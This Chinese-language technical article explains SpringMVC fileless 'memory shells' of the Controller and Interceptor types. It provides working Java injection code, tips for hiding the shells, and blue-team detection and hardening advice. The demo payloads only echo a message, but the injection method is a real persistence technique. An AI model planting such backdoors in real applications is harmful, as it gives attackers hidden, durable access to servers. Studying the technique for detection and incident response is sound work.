搞过几年Java安全的人,对“内存马”这三个字一定特别敏感。它不像早年的JSP一句话木马,喜欢在磁盘上落一个文件,而是直接钻进JVM堆里,变成SpringMVC体系下的一个Controller,或变成Interceptor拦截链上的一个节点,进程不重启,它就不消失。这篇文章不打算讲那些已经烂大街的Servlet型内存马,而是专门拆SpringMVC框架下的Controller型与Interceptor型内存马:从哪里入手、怎么手搓核心代码、有哪些坑,以及蓝队该怎么在运行态里定位它们。适合做Java开发、安全研究、应急响应的朋友阅读,哪怕你只熟悉SpringMVC的请求流程,也能跟着一步步把原理吃透。
1. 内存马技术概览:为什么说它是“无文件落地”的利器
1.1 从一句话木马到内存马:攻击者为什么不再依赖文件落地
以前拿下了一台服务器,最习惯的动作就是往web目录扔一个jsp或php脚本,连接上、执行命令、再想办法开后门。这种玩法在最早期确实好用,因为防守端主要靠文件系统监控和WebShell扫描器来找东西,文件一落地就会被扫描到。但随着WAF、EDR、HIDS这些产品慢慢普及,文件落地成了一件非常危险的事:写入动作被记录、木马文件被特征扫描、webshell管理工具的流量被识别,基本等于告诉对方“我来了”。攻击者很快发现,与其背着文件暴露行踪,不如把恶意代码直接加载到Java进程里,像水渗进海绵一样,让代码成为运行态的一部分。这就是内存马的核心动机。
内存马的技术本质是“运行时篡改”,不需要向磁盘写任何文件。攻击者通过某个RCE入口拿到JVM内部的代码执行能力后,可以动态加载恶意字节码,再把字节码实例化,注册到Tomcat、SpringMVC这类框架已经运行起来的对象体系里。磁盘上找不到新增文件,目录巡检自然失效;进程在,内存马就在;进程重启,内存马跟JVM一起消失,连清理都省了。对防守方来说,这种“查不到文件、清不干净实例”的特性,正是内存马讨人厌的地方。又因为互联网应用大量使用SpringBoot和SpringMVC,所以围绕Spring容器做文章的内存马,已经成为攻防演练中最常见的后门形态之一。
1.2 常见内存马分类:Controller和Interceptor为什么是SpringMVC重灾区
内存马不是一个细到单点的技术,而是一族“挂在容器组件上”的后门。按注册位置大致可以分这么几类:
| 类型 | 注册位置 | 优势 | 不足 |
|---|---|---|---|
| Servlet型 | Tomcat内部Context | 生命周期长,任意路径匹配 | 需要直接操作Tomcat内部对象 |
| Filter型 | Tomcat或Servlet容器Filter链 | 过滤所有请求,链路靠前 | 暴露面大,容易在排查中被发现 |
| Listener型 | ServletContext事件监听器 | 事件触发时生效,隐蔽 | 触发条件不固定 |
| Controller型 | Spring RequestMappingHandlerMapping | 注册新路由,调用灵活 | 需要先拿到Spring容器Bean |
| Interceptor型 | AbstractHandlerMapping.adaptedInterceptors | 与SpringMVC请求链深度融合 | 仅适用于SpringMVC场景 |
在SpringBoot和SpringMVC的项目里,Controller型和Interceptor型尤其常见。前者的好处是,Spring本身就开放了一个可以动态注册路径和Handler的接口,攻击者只要有办法执行一段反射代码,就能在自己的恶意类上绑一个URL,比如“/static/help”这类看起来人畜无害的路径。后者就更隐蔽了,它不新建路由,而是把自己挂进拦截器列表,任何经过SpringMVC的请求都会先经过它,等于在请求入口的位置做了一层“透明开关”。我见过不少蓝队朋友只知道查Filter,却忽略了AbstractHandlerMapping里的那个adaptedInterceptors字段,结果内存马明明就在眼前,却怎么都扫不出来。
1.3 先打通底层:类加载、双亲委派与反射篡改
要手搓内存马,先要搞清楚三段底层知识。第一是类加载:JVM不会凭空认识一个Class,字节码必须经过ClassLoader.defineClass方法变成Class对象,再通过newInstance或者反射创建实例。内存马的本质,就是往这个流程里塞了一段本来不该出现的字节码。第二是双亲委派机制:Java的类加载器会先把加载请求交给父类加载器,父类找不到才自己加载。这个机制平时很安全,但到了动态注入场景就有点碍事,所以许多内存马工具会用当前线程上下文类加载器(Thread.currentThread().getContextClassLoader())作为父加载器,确保恶意类能访问到Spring、Tomcat里的公共依赖类。第三是反射篡改:Spring容器内部充斥着私有字段、受保护方法,从规范上不该直接动,但反射加上setAccessible(true)之后,修改一个单例Bean的内部字段并没有想象中那么难。
把这三段知识连起来再看内存马,思路就清楚了:先通过某种漏洞入口拿到JVM内的代码执行能力,然后写一个自定义类加载器加载恶意字节码,再通过Spring容器的getBean找到RequestMappingHandlerMapping或AbstractHandlerMapping这些核心对象,最后用反射把恶意实例挂到已有或新的映射上。整个过程没有一个文件,依赖的全部是Java自带的反射和容器能力。这也是为什么内存马的排查要比文件型WebShell更依赖运行态信息,不能只靠目录扫描和杀毒引擎。
2. SpringMVC组件解析:Controller与Interceptor的注册逻辑
2.1 Controller的注册流程:从URL到Method的映射规则
SpringMVC的完整请求链路,一般可以简化成:DispatcherServlet拿到HTTP请求后,遍历所有HandlerMapping来寻找能处理这个URL的Handler;找到HandlerExecutionChain之后,再由HandlerAdapter去真正调用Controller方法。这里面的核心枢纽是RequestMappingHandlerMapping,它内部维护了一张映射表,把URL路径和HandlerMethod关联起来。平时我们写一个类,标上@Controller,在方法上标@RequestMapping("/hello"),其实最终都会被Spring解析成一个RequestMappingInfo,再交给RequestMappingHandlerMapping保存。
漏洞点在于,Spring并不只是后台偷偷调用注册逻辑,它还对外暴露了一个公开方法:
handlerMapping.registerMapping(RequestMappingInfo info, Object handler, Method method)这是一个为扩展而设计的方法,但同样可以被攻击者利用。也就是说,攻击者完全不需要写@Controller注解的类,不需要走Spring扫描流程,只要有一个普通对象、一个普通方法,就能通过registerMapping把它注册成某个URL的处理器。方法名看起来只是注册了一个路由,实际上就是给内存马开了一扇门。动态注册的路径和业务路径混在一起,从配置文件和注解扫描结果里根本看不出异常,因为配置层根本没有这个路由的痕迹。
2.2 Interceptor的拦截链:adaptedInterceptors字段和preHandle时机
如果说Controller型内存马是“新增了一个入口”,那么Interceptor型内存马更像是“在公共通道上多装了一个闸机”。SpringMVC的拦截器存放在AbstractHandlerMapping里,核心是两个字段:interceptors和adaptedInterceptors。interceptors是开发者配置的原始拦截器对象,初始化时Spring会把它们包装成“可适配的拦截器”,放进adaptedInterceptors这个List。每次获取Handler时,Spring都会基于这些adaptedInterceptors构建HandlerExecutionChain。
所以,如果攻击者能在运行时向adaptedInterceptors列表里塞一个自定义的HandlerInterceptor对象,就等于给所有经过当前HandlerMapping的请求加上了一道额外的关卡。拦截器接口最关键的钩子是preHandle方法,它在Controller方法执行前被调用,返回true继续后续处理,返回false则直接中断请求。内存马经常在preHandle里检查一个自定义Header,比如X-Mem-Checker,命中后自己写好响应并返回false,这样请求根本不会进入业务Controller,从外部看就像多了一个隐藏接口。
这里还有一层优先级逻辑:多个拦截器按列表顺序执行preHandle,所以注入时应把恶意拦截器放到adaptedInterceptors的最前面。如果塞到末尾,某些业务拦截器可能已经做了认证校验,恶意逻辑就失去了先手优势。虽然大多数实际利用中攻击者不一定每次都要求最优位置,但“先到先得”这条规则是真的,理解它才能解释为什么注入代码里要用add(0, evilInterceptor)。
2.3 SpringMVC为什么容易被内存马盯上
抛开技术细节,单从工程结构来看,SpringMVC对内存马实在太友好了。第一,Spring容器本身就是一个对象池,几乎所有核心组件都以单例Bean的形式存在,只要拿到容器引用,用getBean就能精确获取目标对象,不用瞎猜。第二,Spring内部设计大量依赖反射和动态代理,运行时的“灵活性”是框架卖点,但这份灵活也给恶意篡改提供了可乘之机。第三,SpringBoot在互联网服务中占比太高,又大多是独立Java进程,攻击者只要找到一个反序列化、表达式注入或日志组件漏洞,几乎不需要适配太多环境,就能复用同一套Spring内存马注入代码。
更麻烦的是,框架允许动态注册的特性让它很难从代码层面区分“正规动态路由”和“恶意动态路由”。企业自行开发插件、动态接口、灰度逻辑时,也会调用类似registerMapping或动态配置拦截器的手段。所以蓝队在排查时不能只做“有没有额外注册”这种粗粒度判断,还得结合类加载器来源、触发特征和调用链做细粒度分析。这也是为什么后面所有的排查技巧,都在强调“看运行态对象本身”,而不是只看日志和配置文件。
3. 手搓代码:从0到1实现SpringMVC内存马
3.1 实验环境准备:Spring Boot最小工程与依赖
不建议一上来就在生产环境里试,最好本地起一个最小SpringBoot项目,把整个流程完整跑通。我用的是JDK8、Maven 3.8、Spring Boot 2.7,理论上JDK11也能兼容,但JDK17需要额外处理模块访问限制。pom.xml里核心依赖只有两个:
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency>启动类不用花哨,一个注解加一个main方法就够:
@SpringBootApplication public class MemShellDemoApplication { public static void main(String[] args) { SpringApplication.run(MemShellDemoApplication.class, args); } }为了保证后面能拿到上下文,我习惯在项目里随便写一个最简单的接口,比如/ping,用来确认服务能访问。但这个接口本身不是必须的,因为后面我们注入的都是独立路径。需要注意,实验环境里的内存马只要重启进程就会消失,不会对系统造成持久化影响,但依旧建议在隔离的虚拟机或本地环境操作,不要拿公司测试环境练手,免得被网络扫描或安全监控抓到,惹出不必要的麻烦。
3.2 获取Spring容器和动态类加载的通用套路
内存马注入的第一道工序,是拿到当前处理请求的WebApplicationContext。实际利用时,攻击者往往已经能执行任意代码或反序列化调用方法,所以最常见的做法是通过当前请求获取,而不是去依赖某个Bean注入。核心代码可以这样写:
public static WebApplicationContext getCurrentContext() { ServletRequestAttributes attrs = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); if (attrs == null) { return null; } HttpServletRequest request = attrs.getRequest(); return RequestContextUtils.findWebApplicationContext(request); }为什么用RequestContextUtils.findWebApplicationContext(request)而不是WebApplicationContextUtils.getWebApplicationContext(servletContext)?因为后者通常拿到的是根上下文,而在传统的SSM项目里,DispatcherServlet会创建一个子容器,RequestMappingHandlerMapping很可能存放在子容器里。RequestContextUtils.findWebApplicationContext会从当前请求的属性中直接取出DispatcherServlet使用的WebApplicationContext,这样能避开父子容器拿错对象的问题,也是我踩过坑之后才固定下来的写法。
拿到context之后,下一步就是动态加载恶意核心类。这里不能假设恶意类已经被编译进项目,真实场景中往往需要从一个文件、一段Base64或一次网络请求中获取字节码。所以要先准备一个最简单的自定义类加载器:
public class ByteClassLoader extends ClassLoader { public ByteClassLoader(ClassLoader parent) { super(parent); } public Class<?> defineClass(byte[] bytes) { return super.defineClass(null, bytes, 0, bytes.length); } }加载时把线程上下文类加载器作为parent传进来,能保证恶意类可以引用Spring、Servlet容器中的类,不会因为双亲委派机制找不到依赖而报NoClassDefFoundError。实验演示时可以把编译好的恶意类字节码转成byte数组,或者用反射直接实例化一个内部类;重点是整个流程要让人看明白:动态加载、实例化、注册三步走。
3.3 Controller型内存马手写代码:registerMapping动态注册
现在看Controller型内存马的核心代码。为了方便理解,我这里不用注解暴露“命令执行”功能,只做一个带Header校验的触发回显,让代码既能说明原理,又避免直接变成一份可以使用的高危Payload。
首先是一个普通类,不继承任何Spring基类,也不加任何Spring注解:
import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; public class EvilController { @ResponseBody public String execute(HttpServletRequest request) { if ("1".equals(request.getHeader("X-Mem-Checker"))) { return "controller memshell ok"; } return "forbidden"; } }注意,@ResponseBody必须加在方法上,否则返回的String会被Spring当成视图名称去解析,最终可能抛出一个不存在的视图异常。我一开始就是漏了这个注解,导致注册成功但访问报错,所以这一点非常适合放进“坑位清单”。
然后是注入逻辑:
import org.springframework.context.ApplicationContext; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Method; public class ControllerMemShellInjector { public static void inject(ApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); EvilController evilController = new EvilController(); Method method = EvilController.class.getMethod("execute", HttpServletRequest.class); RequestMappingInfo info = RequestMappingInfo.paths("/public/help") .build(); handlerMapping.registerMapping(info, evilController, method); } }注册路径推荐用/public/help这类看起来像静态资源的地址,降低被人工巡检发现的概率。registerMapping的普适性在于,它不在乎EvilController是不是Spring管理的Bean,只要对象存在、方法能反射获取,它就能完成绑定。方法调用后,访问/public/help并携带X-Mem-Checker: 1,浏览器或curl就能看到“controller memshell ok”的输出。
如果需要在同一个映射上反复测试,或者路径已经有别的业务使用,可以先调用handlerMapping.unregisterMapping(info)再重新registerMapping。但更稳妥的做法是选一个绝对不会有冲突的随机路径,不要在生产环境做这种覆盖测试。真实场景里,攻击者会在execute方法中加入系统命令执行或内存Shell逻辑,但核心注册过程完全一样,因为真正决定内存马能不能生效的,就是这一步动态注册。
3.4 Interceptor型内存马手写代码:反射修改adaptedInterceptors
Interceptor型内存马不需要新增路由,而是把恶意拦截器塞进公共请求链路。核心代码分成两部分,先是恶意拦截器本体:
import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class EvilInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if ("1".equals(request.getHeader("X-Mem-Checker"))) { response.setContentType("text/plain;charset=UTF-8"); response.getWriter().println("interceptor memshell ok"); return false; } return true; } }接着是注入逻辑。要改的就是AbstractHandlerMapping里的adaptedInterceptors字段,反射获取后把恶意拦截器加到索引0的位置:
import org.springframework.context.ApplicationContext; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; import java.util.List; public class InterceptorMemShellInjector { public static void inject(ApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); List<Object> adaptedInterceptors = (List<Object>) field.get(handlerMapping); HandlerInterceptor evilInterceptor = new EvilInterceptor(); adaptedInterceptors.add(0, evilInterceptor); } }这里有个细节值得多说一句:如果你把Interceptor添加到adaptedInterceptors末尾,遇到Spring Security这类框架时会很尴尬,因为安全过滤链可能已经提前拦住了请求,你的preHandle根本没有机会执行。塞到最前面,可以保证当前HandlerMapping构建的HandlerExecutionChain会先走到恶意拦截器,命中Header后直接return false,后续全部短路。从实际效果看,这种Interceptor型内存马比Controller型更难发现,因为它不占独立路由,所有业务路径都可能是触发路径,访问日志里看起来只是一个正常URL加了一个不常见Header,特征很淡。
收到请求后,访问任意一个能被SpringMVC处理的方法,比如刚才的/hello,带上X-Mem-Checker: 1,就能在响应里看到“interceptor memshell ok”。如果Header不存在,请求则会被放行,像一个正常功能一样继续走。这种“默认放行、特定条件触发”的模式,也是内存马隐蔽性的重要来源。
4. 实战经验:常见问题、排查技巧与防护建议
4.1 注入失败排查:容器父子关系、字段可见性与类加载器
自己动手复现时,如果发现内存在代码里注册成功,但访问不生效,不要急着怀疑“被WAF拦了”,先按下面的顺序一项项查。
第一,是否拿错了容器。前面反复强调过父子容器问题。WebApplicationContextUtils.getWebApplicationContext(servletContext)拿到的是根上下文,如果项目里同时存在Root和DispatcherServlet子容器,而RequestMappingHandlerMapping被子容器持有,你往根容器里找Bean,自然是一场空。建议统一使用RequestContextUtils.findWebApplicationContext(request),并打印一下返回的context和Bean的类型,确认拿到的不是Null。第二,是否命中错了HandlerMapping。SpringMVC可能注册多个HandlerMapping,不一定只有一个RequestMappingHandlerMapping。如果你的项目同时用了BeanNameUrlHandlerMapping,而请求路径恰好走了另一个HandlerMapping,注入的对象不会被调用。排查时可以遍历handlerMapping.getHandlerMethods(),看看注册的路径是否真的在里面。第三,反射字段是否失败。个别JDK版本或Spring版本里,adaptedInterceptors这个List是Collections.unmodifiableList包装过的,直接add会抛UnsupportedOperationException。遇到这种情况,你需要先创建一个新的ArrayList并拷贝原列表,再通过反射把字段值替换掉。第四,类加载器是否隔离。恶意类如果由独立的ByteClassLoader加载,而父类加载器没有包含Spring依赖,会出现奇怪的NoClassDefFoundError或ClassCastException,尤其在handlerMapping.registerMapping这种大量依赖接口类型的地方。
4.2 蓝队自查三板斧:路由、拦截器、JVM堆
作为防守方,我不建议临时写一堆工具在线上去探测内存马,那样很可能惊动攻击者,等于打草惊蛇。更稳妥的方式是借现有JDK能力做离线或低侵入的检测。第一板斧是查路由,定点访问Spring注册表。通过控制器或JMX拿到RequestMappingHandlerMapping后,遍历getHandlerMethods(),把每个URL对应的handler类名、方法名、类加载器全部打印出来。业务正常的Controller通常来自项目的类加载器且类名规规矩矩,而内存马可能来自一个很有迷惑性的工具类加载器,或者类名跟当前项目毫无关系。第二板斧是查拦截器,反射读取AbstractHandlerMapping.adaptedInterceptors字段,打印列表里每个对象的真实类名和ClassLoader来源。只要发现列表里多了一个不是业务配置的HandlerInterceptor实现,基本可以确定有问题。第三板斧就是查JVM堆,对线上运行实例执行heapdump,然后用Eclipse MAT或JProfiler打开快照,用OQL搜索HandlerMethod、adaptedInterceptors、ClassLoader等关键词,定位到具体对象的引用链,快速判断它由谁创建、挂在哪个容器组件上。
为了更直观,我把排查动作整理成了一张常见手段表:
| 排查手段 | 关注点 | 适用场景 |
|---|---|---|
| 遍历getHandlerMethods | 异常路由、异常Handler类 | 注册表泄漏式自查 |
| 反射读取adaptedInterceptors | 多余的自定义拦截器 | 拦截器挂马排查 |
| Arthas classloader命令 | 自定义类加载器、加载了哪些Class | 线上快速筛选 |
| jmap -histo | 可疑类实例数量 | 长时间运行实例分析 |
| heapdump + OQL | 对象引用链与类来源 | 取证和深度定位 |
| Java Agent Hook | defineClass、registerMapping | 实时防御与阻断 |
4.3 从源头加固:堵住注入入口与运行态监控
内存马再怎么绕,也绕不过“先拿到JVM内代码执行能力”这个前提。所以防护的第一优先级永远是堵住入口。反序列化漏洞、表达式注入、Fastjson、Log4j2、Shiro等曾经的经典入口,都必须严格落实版本升级和补丁修复。其次是给运行态加上监控:RASP是一种比较有效的手段,在ClassLoader.defineClass、RequestMappingHandlerMapping.registerMapping、AbstractHandlerMapping字段写入等关键位置挂上Java Agent,对“非预期类加载”和“非配置期组件变更”直接告警。这样即使攻击者拿到了代码执行能力,想往Spring容器里挂组件也会立刻触发警报。许多中大型企业已经在用RASP做线上业务防护,效果比单纯堆日志和EDR要直接得多。
再补充两个更接地气的习惯。一个是在Java进程启动脚本里加上GC和堆dump配置,比如-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/data/dump/,这样一旦出现异常或内存马线索,手里至少有一份堆快照可供分析。另一个是记录访问日志中的异常Header和异常URL,内存马触发时多半要靠自定义Header来“激活”,如果WAF规则里能对带X-Mem-Checker这类不常见Header的请求进行单独审计,防守的主动性会大大提高。有人可能会说“定期重启就能清掉内存马”,这话只说对了一半。重启确实会让当前实例里的内存马失效,但攻击者只要还保留着入口,就还能下一次再注入。所以“重启清马”只能作为临时手段,真正要做的是把入口和运行态监控一起管住。
最后,我还是想多说一句自己的体会:内存马技术听起来玄乎,本质就是“运行时篡改Java对象状态”,把类加载、SpringMVC组件注册和反射这三样基本功吃透,攻防双方其实站在同一套知识体系里。蓝队朋友与其到处找各种检测工具,不如自己搭个本地工程,把Controller型和Interceptor型内存马都亲手注入一遍,再自己尝试通过遍历HandlerMapping、看ClassLoader识别它们。踩过一次坑以后,你对这个技术的理解会比读十篇分析文章都深。